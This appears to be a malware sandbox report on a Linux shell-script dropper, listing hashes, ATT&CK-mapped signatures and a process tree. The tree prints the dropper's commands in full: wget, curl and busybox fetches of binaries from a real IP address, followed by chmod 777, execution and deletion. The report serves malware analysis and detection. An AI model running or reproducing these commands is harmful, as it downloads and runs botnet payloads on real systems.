6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32

Analysis

max time kernel
24s
max time network
26s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
26/11/2024, 02:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32.sh
Size 10KB
Sample241126-c436kawpgj
SHA256 6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32
MD5 a11f92e48c1efd2e63aed95cbe04af94
SHA1 c2de2f9e256ef84ee067c9211d373059fed96d1b
SHA512 78df94801ccc2831ce184b9de6a62ea70331f41cfcd9f7b112900401710d5623f4c862a1e52859316e626b608feed0c5d79fd2377d3ac8a12c2563c8365a572a
SSDEEP 192:JIc+rDhaJ8N5Lyyp1p/bLZ1Ic+rDK1peN5Lyy+G:6aJM1p/blR1pa
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
682	chmod
775	chmod
783	chmod
807	chmod
710	chmod
733	chmod
742	chmod
789	chmod
795	chmod
801	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	683	RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm	711	YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
/tmp/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx	734	oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
/tmp/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP	744	XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
/tmp/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa	776	fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
/tmp/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK	784	bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
/tmp/QPOImcSJXwcIreS05moOijXevs9QeW1kAo	790	QPOImcSJXwcIreS05moOijXevs9QeW1kAo
/tmp/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs	796	bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
/tmp/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy	802	fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
/tmp/Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne	808	Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 20 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
794	busybox
796	bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
797	rm
792	wget
793	curl

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa	curl
File opened for modification	/tmp/QPOImcSJXwcIreS05moOijXevs9QeW1kAo	curl
File opened for modification	/tmp/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy	curl
File opened for modification	/tmp/Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne	curl
File opened for modification	/tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT	curl
File opened for modification	/tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm	curl
File opened for modification	/tmp/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx	curl
File opened for modification	/tmp/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP	curl
File opened for modification	/tmp/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK	curl
File opened for modification	/tmp/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs	curl

/tmp/6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32.sh
/tmp/6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32.sh
1⤵
PID:643
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:646
- /usr/bin/wget
  wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  PID:651
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  PID:679
- /bin/chmod
  chmod 777 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  ./RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  - Executes dropped EXE
  PID:683
- /bin/rm
  rm RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
  2⤵
  PID:684
- /usr/bin/wget
  wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  PID:687
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:692
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  PID:697
- /bin/chmod
  chmod 777 YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  ./YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  - Executes dropped EXE
  PID:711
- /bin/rm
  rm YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
  2⤵
  PID:712
- /usr/bin/wget
  wget http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  PID:730
- /bin/chmod
  chmod 777 oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  ./oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
  2⤵
  PID:735
- /usr/bin/wget
  wget http://216.126.231.240/bins/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  2⤵
  PID:738
- /bin/chmod
  chmod 777 XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  ./XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  2⤵
  PID:760
- /bin/chmod
  chmod 777 fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  ./fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.126.231.240/bins/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  2⤵
  PID:782
- /bin/chmod
  chmod 777 bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  ./bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
  2⤵
  PID:785
- /usr/bin/wget
  wget http://216.126.231.240/bins/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  2⤵
  PID:788
- /bin/chmod
  chmod 777 QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  ./QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm QPOImcSJXwcIreS05moOijXevs9QeW1kAo
  2⤵
  PID:791
- /usr/bin/wget
  wget http://216.126.231.240/bins/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  2⤵
  - System Network Configuration Discovery
  PID:792
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  2⤵
  - System Network Configuration Discovery
  PID:794
- /bin/chmod
  chmod 777 bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  ./bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:796
- /bin/rm
  rm bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
  2⤵
  - System Network Configuration Discovery
  PID:797
- /usr/bin/wget
  wget http://216.126.231.240/bins/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  2⤵
  PID:800
- /bin/chmod
  chmod 777 fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  ./fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
  2⤵
  PID:803
- /usr/bin/wget
  wget http://216.126.231.240/bins/Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  2⤵
  PID:806
- /bin/chmod
  chmod 777 Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  ./Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm Qf5n9MYgsuj4j2kP3Ml7EWFdldRcwL75ne
  2⤵
  PID:809
- /usr/bin/wget
  wget http://216.126.231.240/bins/dWiIaYr7QRIrzGboL7NnUnv3PCAVWDtuzX
  2⤵
  PID:810

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

Path /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads